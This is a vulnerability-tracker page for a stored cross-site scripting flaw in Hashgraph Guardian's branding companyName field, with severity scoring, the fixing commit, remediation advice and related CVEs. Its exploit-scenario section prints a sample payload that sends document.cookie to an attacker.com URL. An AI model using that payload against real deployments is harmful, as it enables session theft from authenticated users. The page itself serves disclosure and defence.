Skip to main content

Hashgraph Guardian EUVDEUVD-2026-37952

| CVE-2026-22674 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-18 VulnCheck GHSA-jqx7-93j3-2xqf
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as STANDARD_REGISTRY user
  2. Delivery
    Submit XSS payload as companyName via branding API
  3. Exploit
    Payload persisted in Guardian backend
  4. Install
    Victim loads any Guardian frontend page
  5. C2
    BrandingService renders companyName via innerHTML
  6. Execute
    Injected JavaScript executes in victim browser context
  7. Impact
    Session tokens or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold the STANDARD_REGISTRY role within the Guardian application - a defined named role with authority over branding configuration, distinct from the administrator role. The vulnerable entry point is specifically the branding configuration API endpoint's companyName parameter. Once the payload is stored, it executes passively in every authenticated user's browser on every page load with no further interaction required from the attacker. Limiting factors are: (1) attacker must possess or compromise a STANDARD_REGISTRY role account (PR:H); (2) victims must be authenticated and load any Guardian frontend page (UI:P - passive but required). No non-default configuration, specific OS platform, or unusual deployment topology is required beyond the role assignment itself.

Impact

The CVSS 4.0 score of 4.8 with vector AV:N/AC:L/AT:N/PR:H/UI:P accurately represents the real-world risk profile. The PR:H metric is the primary constraint: exploitation requires the STANDARD_REGISTRY role, limiting the attacker pool to insiders, compromised privileged accounts, or misconfigured deployments where this role is overly distributed. The UI:P (passive user interaction) metric means the stored payload activates automatically upon any authenticated user loading a Guardian page - no phishing or social engineering is required beyond the initial role-privileged write. Impact metrics SC:L/SI:L on subsequent systems (victims' browsers) with no impact on the vulnerable system itself correctly models stored XSS: the injecting account gains indirect influence over other users' sessions rather than the backend directly. No KEV listing and no standalone POC are confirmed, keeping this in a lower-urgency tier for most organizations; however, in multi-tenant or SaaS deployments of Guardian where STANDARD_REGISTRY is assigned to semi-trusted external parties, the real-world risk is meaningfully higher than the score suggests.

Exploit ScenarioDerived

An attacker authenticated with the STANDARD_REGISTRY role submits a crafted companyName value such as <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> via the Guardian branding configuration API. The payload is stored server-side; on every subsequent page load by any authenticated Guardian user, the Angular BrandingService renders the value via innerHTML, triggering the injected code and silently exfiltrating session cookies or tokens to an attacker-controlled endpoint. Because the payload fires on every page load across the entire application, mass session harvesting of all active users is achievable from a single write operation.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Stored cross-site scripting in Hashgraph Guardian through 3.5.0 allows an authenticated user holding the STANDARD_REGISTRY role to inject persistent JavaScript payloads into the branding configuration's companyName field via the branding API endpoint. The injected script executes in every authenticated user's browser on every page load due to unsanitized innerHTML assignments in both the BrandingService and BrandingComponent Angular classes. No public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV; however, the fix diff is publicly visible in GitHub PR #6190, lowering the barrier for exploit development.

RemediationAI

The primary fix is to apply commit ba8c566807848cf84360716438056d8d8d2c8362 (GitHub PR #6190), which replaces all three unsafe innerHTML assignments with textContent in branding.service.ts and branding.component.ts. Note that only the commit hash is confirmed - a formally tagged patched release version has not been independently verified at time of analysis; operators should track the Guardian release changelog to confirm when this commit ships in a versioned release. As an immediate compensating control, audit and restrict the STANDARD_REGISTRY role assignment: remove it from any accounts that do not require branding configuration authority, as this role is the sole exploitation prerequisite. A WAF rule rejecting HTML angle brackets or script-related keywords in the branding API's companyName parameter could provide a secondary layer, but filter bypass is feasible and should not substitute for the code fix. See the VulnCheck advisory at https://www.vulncheck.com/advisories/hashgraph-guardian-stored-xss-via-branding-companyname-field for additional guidance.

Affected VersionsENISA

Guardian patch: ba8c566807848cf84360716438056d8d8d2c8362
Guardian 0 ≤3.6.0

Affected Packages

euvd guardian no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Hashgraph Guardian is a blockchain governance platform built with an Angular frontend. The vulnerable code resides in two Angular TypeScript files: frontend/src/app/services/branding.service.ts and frontend/src/app/views/branding/branding.component.ts. In both files, user-controlled data retrieved from the branding configuration API was assigned directly to a DOM element using innerHTML, a pattern classified under CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting). The innerHTML property parses and renders HTML including embedded script tags and event handlers, whereas the safe alternative textContent treats the value as literal text. The fix in commit ba8c566 replaces all three innerHTML assignments with textContent across both files. CPE cpe:2.3:a:hashgraph:guardian:*:*:*:*:*:*:*:* confirms the vulnerable scope spans all Guardian versions through 3.5.0 with no version floor.

Know when Guardian gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Requires STANDARD_REGISTRY role (PR:H); stored payload auto-executes on victim page load (UI:R); scope changes to victims' browsers (S:C); low confidentiality and integrity impact consistent with XSS session exposure.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Hashgraph Guardian through 3.5.0, fixed in commit ba8c566, contains a stored cross-site scripting vulnerability that allows authenticated users with the STANDARD_REGISTRY role to inject malicious scripts by submitting a crafted companyName value via the branding configuration API endpoint. Attackers can exploit the unsanitized innerHTML assignment in the branding service to execute arbitrary JavaScript in the browser of every authenticated user on every page load.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-34107 CRITICAL POC
9.3 Jul 01

OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i

CVE-2026-34106 CRITICAL POC
9.3 Jul 01

Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec

CVE-2026-34099 CRITICAL POC
9.3 Jul 01

Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec

CVE-2026-34105 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the

CVE-2026-34104 HIGH POC
8.7 Jul 01

SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the

CVE-2026-34103 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a

CVE-2026-34102 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker

CVE-2026-34101 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv

CVE-2026-34100 HIGH POC
8.7 Jul 01

SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t

CVE-2020-7049 HIGH POC
7.3 Jun 30

Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7

CVE-2020-15307 MEDIUM POC
6.1 Jun 30

Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to

CVE-2023-29245 CRITICAL
9.2 Sep 19

A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy